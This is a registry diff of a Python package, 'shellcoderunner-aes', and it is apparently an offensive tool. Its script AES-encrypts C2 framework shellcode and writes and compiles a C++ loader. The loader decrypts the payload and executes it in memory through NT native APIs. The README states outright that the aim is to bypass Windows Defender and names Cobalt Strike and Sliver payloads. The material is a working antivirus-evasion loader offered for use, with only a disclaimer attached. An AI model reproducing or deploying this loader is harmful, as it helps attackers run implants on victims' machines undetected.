shellcoderunner-aes 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,14 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 PaiN05
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, subject to the following conditions:
10
+
11
+ The above copyright notice and this permission notice shall be included in all
12
+ copies or substantial portions of the Software.
13
+
14
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
@@ -0,0 +1,138 @@
1
+ Metadata-Version: 2.4
2
+ Name: shellcoderunner-aes
3
+ Version: 1.0.0
4
+ Summary: AES-based shellcode loader generator for Windows security research
5
+ Author: PaiN05
6
+ License: MIT
7
+ Classifier: Programming Language :: Python :: 3
8
+ Classifier: Topic :: Security
9
+ Classifier: Intended Audience :: Developers
10
+ Classifier: Intended Audience :: Information Technology
11
+ Description-Content-Type: text/markdown
12
+ License-File: LICENSE
13
+ Requires-Dist: pycryptodome
14
+ Dynamic: author
15
+ Dynamic: classifier
16
+ Dynamic: description
17
+ Dynamic: description-content-type
18
+ Dynamic: license
19
+ Dynamic: license-file
20
+ Dynamic: requires-dist
21
+ Dynamic: summary
22
+
23
+ # ShellcodeRunner (AES)
24
+
25
+ ## Overview
26
+
27
+ **ShellcodeRunner** is a research-focused project designed to help security enthusiasts, red teamers, and malware researchers understand **how custom shellcode loaders work on Windows**.
28
+
29
+ This repository demonstrates:
30
+
31
+ * Encrypting raw shellcode using **AES**
32
+ * Generating a **native C++ loader**
33
+ * Executing shellcode fully **from memory**
34
+ * Leveraging **NT Native APIs** for execution
35
+
36
+ > **Primary Goal:**
37
+ > To provide a practical idea of how shellcode loaders can be built in a way that can **easily bypass Windows Defender–based solutions** by avoiding static signatures, plaintext payloads, and common high-level APIs.
38
+
39
+ This project is intended for **educational and defensive research purposes only**.
40
+
41
+ ---
42
+
43
+ ## Proof of Concept [Video]
44
+
45
+ [![PoC Video](https://i9.ytimg.com/vi/xlK_TSLLuHA/mqdefault.jpg?sqp=CNT5jcsG-oaymwEmCMACELQB8quKqQMa8AEB-AH-CYAC0AWKAgwIABABGEsgWyhlMA8=&rs=AOn4CLBZW3D_awnEWD14nexvk2pHm5QF_g)](https://www.youtube.com/watch?v=xlK_TSLLuHA)
46
+
47
+ ---
48
+
49
+ ## Key Features
50
+
51
+ * AES-128-CBC encrypted shellcode
52
+ * Password-based key derivation (SHA-256)
53
+ * No plaintext shellcode on disk
54
+ * Native Windows CryptoAPI decryption
55
+ * NTAPI-based memory allocation and execution
56
+ * Simple and clean workflow
57
+
58
+ ---
59
+
60
+ ## Repository Structure
61
+
62
+ ```
63
+ shellcoderunner/
64
+ ├── shellcoderunneraes.py # Python builder (encrypts shellcode & generates C++ loader)
65
+ ├── aes_nt_runner.cpp # Generated C++ loader
66
+ ├── meow.inc # Encrypted shellcode + IV (auto-generated)
67
+ └── runner.exe # Final compiled executable
68
+ ```
69
+
70
+ ---
71
+
72
+ ## Installation
73
+
74
+ Required Dependencies (Linux):
75
+ ```bash
76
+ sudo apt update && sudo apt install -y python3 python3-pip mingw-w64
77
+ python3 -m pip install pycryptodome
78
+ ```
79
+
80
+ Clone the repository:
81
+
82
+ ```bash
83
+ git clone https://github.com/jaytiwari05/shellcoderunner.git
84
+ cd shellcoderunner
85
+ ```
86
+
87
+ Make the script globally accessible:
88
+
89
+ ```bash
90
+ cp shellcoderunneraes.py /usr/local/bin/shellcoderunneraes.py && chmod +x /usr/local/bin/shellcoderunneraes.py
91
+ ```
92
+
93
+ ---
94
+
95
+ ## Usage
96
+
97
+ Generate and compile a shellcode loader using AES encryption:
98
+
99
+ ```bash
100
+ shellcoderunneraes.py <C2_shellcode>.bin --aes pain05 --compile
101
+ ```
102
+
103
+ ### Arguments
104
+
105
+ * `<C2_shellcode>.bin` — Raw shellcode file generated by a C2 framework (e.g., Sliver, Adaptix, Cobalt Strike).
106
+ * `--aes` — Password used for AES key derivation
107
+ * `--compile` — Compiles the generated C++ loader into an executable
108
+
109
+ The final output will be a **standalone Windows executable** that decrypts and executes the shellcode entirely in memory.
110
+
111
+ ---
112
+
113
+ ## Why This Works Against Defender
114
+
115
+ This project highlights techniques commonly used to bypass Windows Defender–based detection:
116
+
117
+ * Encrypted payload stored on disk
118
+ * Runtime decryption using legitimate Windows APIs
119
+ * No RWX memory allocation
120
+ * Execution via NT Native APIs
121
+ * No use of high-level Win32 execution helpers
122
+
123
+ These techniques help reduce static signatures and behavioral indicators commonly relied upon by Defender.
124
+
125
+ ---
126
+
127
+ ## Disclaimer
128
+
129
+ This project is provided **strictly for educational, research, and defensive security purposes**.
130
+ Do not use this code for unauthorized or malicious activities.
131
+ The author is not responsible for misuse.
132
+
133
+ ---
134
+
135
+ ## Author
136
+
137
+ **PaiN05**
138
+ Security Research | Offensive Tradecraft | Malware Development Research
@@ -0,0 +1,116 @@
1
+ # ShellcodeRunner (AES)
2
+
3
+ ## Overview
4
+
5
+ **ShellcodeRunner** is a research-focused project designed to help security enthusiasts, red teamers, and malware researchers understand **how custom shellcode loaders work on Windows**.
6
+
7
+ This repository demonstrates:
8
+
9
+ * Encrypting raw shellcode using **AES**
10
+ * Generating a **native C++ loader**
11
+ * Executing shellcode fully **from memory**
12
+ * Leveraging **NT Native APIs** for execution
13
+
14
+ > **Primary Goal:**
15
+ > To provide a practical idea of how shellcode loaders can be built in a way that can **easily bypass Windows Defender–based solutions** by avoiding static signatures, plaintext payloads, and common high-level APIs.
16
+
17
+ This project is intended for **educational and defensive research purposes only**.
18
+
19
+ ---
20
+
21
+ ## Proof of Concept [Video]
22
+
23
+ [![PoC Video](https://i9.ytimg.com/vi/xlK_TSLLuHA/mqdefault.jpg?sqp=CNT5jcsG-oaymwEmCMACELQB8quKqQMa8AEB-AH-CYAC0AWKAgwIABABGEsgWyhlMA8=&rs=AOn4CLBZW3D_awnEWD14nexvk2pHm5QF_g)](https://www.youtube.com/watch?v=xlK_TSLLuHA)
24
+
25
+ ---
26
+
27
+ ## Key Features
28
+
29
+ * AES-128-CBC encrypted shellcode
30
+ * Password-based key derivation (SHA-256)
31
+ * No plaintext shellcode on disk
32
+ * Native Windows CryptoAPI decryption
33
+ * NTAPI-based memory allocation and execution
34
+ * Simple and clean workflow
35
+
36
+ ---
37
+
38
+ ## Repository Structure
39
+
40
+ ```
41
+ shellcoderunner/
42
+ ├── shellcoderunneraes.py # Python builder (encrypts shellcode & generates C++ loader)
43
+ ├── aes_nt_runner.cpp # Generated C++ loader
44
+ ├── meow.inc # Encrypted shellcode + IV (auto-generated)
45
+ └── runner.exe # Final compiled executable
46
+ ```
47
+
48
+ ---
49
+
50
+ ## Installation
51
+
52
+ Required Dependencies (Linux):
53
+ ```bash
54
+ sudo apt update && sudo apt install -y python3 python3-pip mingw-w64
55
+ python3 -m pip install pycryptodome
56
+ ```
57
+
58
+ Clone the repository:
59
+
60
+ ```bash
61
+ git clone https://github.com/jaytiwari05/shellcoderunner.git
62
+ cd shellcoderunner
63
+ ```
64
+
65
+ Make the script globally accessible:
66
+
67
+ ```bash
68
+ cp shellcoderunneraes.py /usr/local/bin/shellcoderunneraes.py && chmod +x /usr/local/bin/shellcoderunneraes.py
69
+ ```
70
+
71
+ ---
72
+
73
+ ## Usage
74
+
75
+ Generate and compile a shellcode loader using AES encryption:
76
+
77
+ ```bash
78
+ shellcoderunneraes.py <C2_shellcode>.bin --aes pain05 --compile
79
+ ```
80
+
81
+ ### Arguments
82
+
83
+ * `<C2_shellcode>.bin` — Raw shellcode file generated by a C2 framework (e.g., Sliver, Adaptix, Cobalt Strike).
84
+ * `--aes` — Password used for AES key derivation
85
+ * `--compile` — Compiles the generated C++ loader into an executable
86
+
87
+ The final output will be a **standalone Windows executable** that decrypts and executes the shellcode entirely in memory.
88
+
89
+ ---
90
+
91
+ ## Why This Works Against Defender
92
+
93
+ This project highlights techniques commonly used to bypass Windows Defender–based detection:
94
+
95
+ * Encrypted payload stored on disk
96
+ * Runtime decryption using legitimate Windows APIs
97
+ * No RWX memory allocation
98
+ * Execution via NT Native APIs
99
+ * No use of high-level Win32 execution helpers
100
+
101
+ These techniques help reduce static signatures and behavioral indicators commonly relied upon by Defender.
102
+
103
+ ---
104
+
105
+ ## Disclaimer
106
+
107
+ This project is provided **strictly for educational, research, and defensive security purposes**.
108
+ Do not use this code for unauthorized or malicious activities.
109
+ The author is not responsible for misuse.
110
+
111
+ ---
112
+
113
+ ## Author
114
+
115
+ **PaiN05**
116
+ Security Research | Offensive Tradecraft | Malware Development Research
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,24 @@
1
+ from setuptools import setup
2
+
3
+ setup(
4
+ name="shellcoderunner-aes",
5
+ version="1.0.0",
6
+ py_modules=["shellcoderunneraes"],
7
+ install_requires=["pycryptodome"],
8
+ entry_points={
9
+ "console_scripts": [
10
+ "shellcoderunneraes=shellcoderunneraes:main"
11
+ ]
12
+ },
13
+ author="PaiN05",
14
+ description="AES-based shellcode loader generator for Windows security research",
15
+ long_description=open("README.md").read(),
16
+ long_description_content_type="text/markdown",
17
+ license="MIT",
18
+ classifiers=[
19
+ "Programming Language :: Python :: 3",
20
+ "Topic :: Security",
21
+ "Intended Audience :: Developers",
22
+ "Intended Audience :: Information Technology",
23
+ ],
24
+ )
@@ -0,0 +1,138 @@
1
+ Metadata-Version: 2.4
2
+ Name: shellcoderunner-aes
3
+ Version: 1.0.0
4
+ Summary: AES-based shellcode loader generator for Windows security research
5
+ Author: PaiN05
6
+ License: MIT
7
+ Classifier: Programming Language :: Python :: 3
8
+ Classifier: Topic :: Security
9
+ Classifier: Intended Audience :: Developers
10
+ Classifier: Intended Audience :: Information Technology
11
+ Description-Content-Type: text/markdown
12
+ License-File: LICENSE
13
+ Requires-Dist: pycryptodome
14
+ Dynamic: author
15
+ Dynamic: classifier
16
+ Dynamic: description
17
+ Dynamic: description-content-type
18
+ Dynamic: license
19
+ Dynamic: license-file
20
+ Dynamic: requires-dist
21
+ Dynamic: summary
22
+
23
+ # ShellcodeRunner (AES)
24
+
25
+ ## Overview
26
+
27
+ **ShellcodeRunner** is a research-focused project designed to help security enthusiasts, red teamers, and malware researchers understand **how custom shellcode loaders work on Windows**.
28
+
29
+ This repository demonstrates:
30
+
31
+ * Encrypting raw shellcode using **AES**
32
+ * Generating a **native C++ loader**
33
+ * Executing shellcode fully **from memory**
34
+ * Leveraging **NT Native APIs** for execution
35
+
36
+ > **Primary Goal:**
37
+ > To provide a practical idea of how shellcode loaders can be built in a way that can **easily bypass Windows Defender–based solutions** by avoiding static signatures, plaintext payloads, and common high-level APIs.
38
+
39
+ This project is intended for **educational and defensive research purposes only**.
40
+
41
+ ---
42
+
43
+ ## Proof of Concept [Video]
44
+
45
+ [![PoC Video](https://i9.ytimg.com/vi/xlK_TSLLuHA/mqdefault.jpg?sqp=CNT5jcsG-oaymwEmCMACELQB8quKqQMa8AEB-AH-CYAC0AWKAgwIABABGEsgWyhlMA8=&rs=AOn4CLBZW3D_awnEWD14nexvk2pHm5QF_g)](https://www.youtube.com/watch?v=xlK_TSLLuHA)
46
+
47
+ ---
48
+
49
+ ## Key Features
50
+
51
+ * AES-128-CBC encrypted shellcode
52
+ * Password-based key derivation (SHA-256)
53
+ * No plaintext shellcode on disk
54
+ * Native Windows CryptoAPI decryption
55
+ * NTAPI-based memory allocation and execution
56
+ * Simple and clean workflow
57
+
58
+ ---
59
+
60
+ ## Repository Structure
61
+
62
+ ```
63
+ shellcoderunner/
64
+ ├── shellcoderunneraes.py # Python builder (encrypts shellcode & generates C++ loader)
65
+ ├── aes_nt_runner.cpp # Generated C++ loader
66
+ ├── meow.inc # Encrypted shellcode + IV (auto-generated)
67
+ └── runner.exe # Final compiled executable
68
+ ```
69
+
70
+ ---
71
+
72
+ ## Installation
73
+
74
+ Required Dependencies (Linux):
75
+ ```bash
76
+ sudo apt update && sudo apt install -y python3 python3-pip mingw-w64
77
+ python3 -m pip install pycryptodome
78
+ ```
79
+
80
+ Clone the repository:
81
+
82
+ ```bash
83
+ git clone https://github.com/jaytiwari05/shellcoderunner.git
84
+ cd shellcoderunner
85
+ ```
86
+
87
+ Make the script globally accessible:
88
+
89
+ ```bash
90
+ cp shellcoderunneraes.py /usr/local/bin/shellcoderunneraes.py && chmod +x /usr/local/bin/shellcoderunneraes.py
91
+ ```
92
+
93
+ ---
94
+
95
+ ## Usage
96
+
97
+ Generate and compile a shellcode loader using AES encryption:
98
+
99
+ ```bash
100
+ shellcoderunneraes.py <C2_shellcode>.bin --aes pain05 --compile
101
+ ```
102
+
103
+ ### Arguments
104
+
105
+ * `<C2_shellcode>.bin` — Raw shellcode file generated by a C2 framework (e.g., Sliver, Adaptix, Cobalt Strike).
106
+ * `--aes` — Password used for AES key derivation
107
+ * `--compile` — Compiles the generated C++ loader into an executable
108
+
109
+ The final output will be a **standalone Windows executable** that decrypts and executes the shellcode entirely in memory.
110
+
111
+ ---
112
+
113
+ ## Why This Works Against Defender
114
+
115
+ This project highlights techniques commonly used to bypass Windows Defender–based detection:
116
+
117
+ * Encrypted payload stored on disk
118
+ * Runtime decryption using legitimate Windows APIs
119
+ * No RWX memory allocation
120
+ * Execution via NT Native APIs
121
+ * No use of high-level Win32 execution helpers
122
+
123
+ These techniques help reduce static signatures and behavioral indicators commonly relied upon by Defender.
124
+
125
+ ---
126
+
127
+ ## Disclaimer
128
+
129
+ This project is provided **strictly for educational, research, and defensive security purposes**.
130
+ Do not use this code for unauthorized or malicious activities.
131
+ The author is not responsible for misuse.
132
+
133
+ ---
134
+
135
+ ## Author
136
+
137
+ **PaiN05**
138
+ Security Research | Offensive Tradecraft | Malware Development Research
@@ -0,0 +1,10 @@
1
+ LICENSE
2
+ README.md
3
+ setup.py
4
+ shellcoderunneraes.py
5
+ shellcoderunner_aes.egg-info/PKG-INFO
6
+ shellcoderunner_aes.egg-info/SOURCES.txt
7
+ shellcoderunner_aes.egg-info/dependency_links.txt
8
+ shellcoderunner_aes.egg-info/entry_points.txt
9
+ shellcoderunner_aes.egg-info/requires.txt
10
+ shellcoderunner_aes.egg-info/top_level.txt
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ shellcoderunneraes = shellcoderunneraes:main
@@ -0,0 +1 @@
1
+ shellcoderunneraes
@@ -0,0 +1,228 @@
1
+ #!/usr/bin/env python3
2
+
3
+ # Author : PaiN05
4
+ # Shellcode Runner For CTF or some Red Teaming Engagements
5
+
6
+ import argparse
7
+ import subprocess
8
+ import os
9
+ import hashlib
10
+ from Crypto.Cipher import AES
11
+ from Crypto.Util.Padding import pad
12
+
13
+
14
+ CPP_FILE = "aes_nt_runner.cpp"
15
+ INC_FILE = "meow.inc"
16
+ EXE_FILE = "runner.exe" # Final OutPut File Name
17
+
18
+ # KEY DERIVATION
19
+ def derive_key_iv(password: str):
20
+ digest = hashlib.sha256(password.encode()).digest()
21
+ return digest[:16], digest[16:32]
22
+
23
+ # C++ TEMPLATE
24
+ CPP_TEMPLATE = r'''
25
+ #include <windows.h>
26
+ #include <wincrypt.h>
27
+
28
+ #pragma comment(lib, "advapi32.lib")
29
+
30
+ typedef NTSTATUS(NTAPI* NtAllocateVirtualMemory_t)(
31
+ HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
32
+
33
+ typedef NTSTATUS(NTAPI* NtProtectVirtualMemory_t)(
34
+ HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
35
+
36
+ typedef NTSTATUS(NTAPI* NtCreateThreadEx_t)(
37
+ PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID,
38
+ ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);
39
+
40
+ #include "meow.inc"
41
+
42
+ unsigned char aes_key[16] = {
43
+ {AES_KEY}
44
+ };
45
+
46
+ bool AESDecrypt(
47
+ unsigned char* encrypted,
48
+ DWORD encLen,
49
+ unsigned char* key,
50
+ unsigned char* iv,
51
+ unsigned char** output,
52
+ DWORD* outLen)
53
+ {
54
+ HCRYPTPROV hProv = 0;
55
+ HCRYPTKEY hKey = 0;
56
+
57
+ *output = new unsigned char[encLen];
58
+ memcpy(*output, encrypted, encLen);
59
+ *outLen = encLen;
60
+
61
+ if (!CryptAcquireContext(
62
+ &hProv, NULL, NULL,
63
+ PROV_RSA_AES, CRYPT_VERIFYCONTEXT))
64
+ return false;
65
+
66
+ struct {
67
+ BLOBHEADER hdr;
68
+ DWORD keyLen;
69
+ BYTE key[16];
70
+ } keyBlob;
71
+
72
+ keyBlob.hdr.bType = PLAINTEXTKEYBLOB;
73
+ keyBlob.hdr.bVersion = CUR_BLOB_VERSION;
74
+ keyBlob.hdr.reserved = 0;
75
+ keyBlob.hdr.aiKeyAlg = CALG_AES_128;
76
+ keyBlob.keyLen = 16;
77
+ memcpy(keyBlob.key, key, 16);
78
+
79
+ if (!CryptImportKey(
80
+ hProv,
81
+ (BYTE*)&keyBlob,
82
+ sizeof(keyBlob),
83
+ 0,
84
+ 0,
85
+ &hKey))
86
+ return false;
87
+
88
+ CryptSetKeyParam(hKey, KP_IV, iv, 0);
89
+
90
+ if (!CryptDecrypt(
91
+ hKey,
92
+ 0,
93
+ TRUE,
94
+ 0,
95
+ *output,
96
+ outLen))
97
+ return false;
98
+
99
+ CryptDestroyKey(hKey);
100
+ CryptReleaseContext(hProv, 0);
101
+ return true;
102
+ }
103
+
104
+ int main()
105
+ {
106
+ unsigned char* decrypted = nullptr;
107
+ DWORD decryptedLen = 0;
108
+
109
+ if (!AESDecrypt(
110
+ encrypted_shellcode,
111
+ encrypted_shellcode_len,
112
+ aes_key,
113
+ aes_iv,
114
+ &decrypted,
115
+ &decryptedLen))
116
+ return -1;
117
+
118
+ HMODULE ntdll = LoadLibraryA("ntdll.dll");
119
+
120
+ auto NtAllocateVirtualMemory =
121
+ (NtAllocateVirtualMemory_t)GetProcAddress(
122
+ ntdll, "NtAllocateVirtualMemory");
123
+
124
+ auto NtProtectVirtualMemory =
125
+ (NtProtectVirtualMemory_t)GetProcAddress(
126
+ ntdll, "NtProtectVirtualMemory");
127
+
128
+ auto NtCreateThreadEx =
129
+ (NtCreateThreadEx_t)GetProcAddress(
130
+ ntdll, "NtCreateThreadEx");
131
+
132
+ PVOID base = nullptr;
133
+ SIZE_T size = decryptedLen;
134
+
135
+ NtAllocateVirtualMemory(
136
+ (HANDLE)-1,
137
+ &base,
138
+ 0,
139
+ &size,
140
+ MEM_COMMIT | MEM_RESERVE,
141
+ PAGE_READWRITE);
142
+
143
+ memcpy(base, decrypted, decryptedLen);
144
+
145
+ ULONG oldProtect;
146
+ NtProtectVirtualMemory(
147
+ (HANDLE)-1,
148
+ &base,
149
+ &size,
150
+ PAGE_EXECUTE_READ,
151
+ &oldProtect);
152
+
153
+ HANDLE hThread = NULL;
154
+ NtCreateThreadEx(
155
+ &hThread,
156
+ THREAD_ALL_ACCESS,
157
+ NULL,
158
+ (HANDLE)-1,
159
+ base,
160
+ NULL,
161
+ FALSE,
162
+ 0, 0, 0, NULL);
163
+
164
+ WaitForSingleObject(hThread, INFINITE);
165
+ return 0;
166
+ }
167
+ '''
168
+
169
+ # ENCRYPT + INC
170
+ def encrypt_shellcode(shellcode_path, password):
171
+ key, iv = derive_key_iv(password)
172
+
173
+ with open(shellcode_path, "rb") as f:
174
+ data = f.read()
175
+
176
+ cipher = AES.new(key, AES.MODE_CBC, iv)
177
+ encrypted = cipher.encrypt(pad(data, AES.block_size))
178
+
179
+ with open(INC_FILE, "w") as f:
180
+ f.write("unsigned char encrypted_shellcode[] = {\n")
181
+ for i in range(0, len(encrypted), 16):
182
+ chunk = ", ".join(f"0x{b:02x}" for b in encrypted[i:i+16])
183
+ f.write(f" {chunk},\n")
184
+ f.write("};\n")
185
+ f.write(f"unsigned int encrypted_shellcode_len = {len(encrypted)};\n\n")
186
+
187
+ f.write("unsigned char aes_iv[] = {\n ")
188
+ f.write(", ".join(f"0x{b:02x}" for b in iv))
189
+ f.write("\n};\n")
190
+
191
+ return key
192
+
193
+ # WRITE CPP
194
+ def write_cpp(key_bytes):
195
+ key_str = ", ".join(f"0x{b:02x}" for b in key_bytes)
196
+ cpp_code = CPP_TEMPLATE.replace("{AES_KEY}", key_str)
197
+
198
+ with open(CPP_FILE, "w") as f:
199
+ f.write(cpp_code)
200
+
201
+ # COMPILE
202
+ def compile_exe():
203
+ subprocess.run([
204
+ "x86_64-w64-mingw32-g++",
205
+ CPP_FILE,
206
+ "-o", EXE_FILE,
207
+ "-static",
208
+ "-ladvapi32"
209
+ ], check=True)
210
+
211
+ # MAIN
212
+ def main():
213
+ parser = argparse.ArgumentParser()
214
+ parser.add_argument("shellcode", help="shellcode.bin")
215
+ parser.add_argument("--aes", required=True, help="AES password")
216
+ parser.add_argument("--compile", action="store_true")
217
+ args = parser.parse_args()
218
+
219
+ key = encrypt_shellcode(args.shellcode, args.aes)
220
+ write_cpp(key)
221
+
222
+ if args.compile:
223
+ compile_exe()
224
+ os.remove(INC_FILE)
225
+ print(f"[+] Build complete: {EXE_FILE}")
226
+
227
+ if __name__ == "__main__":
228
+ main()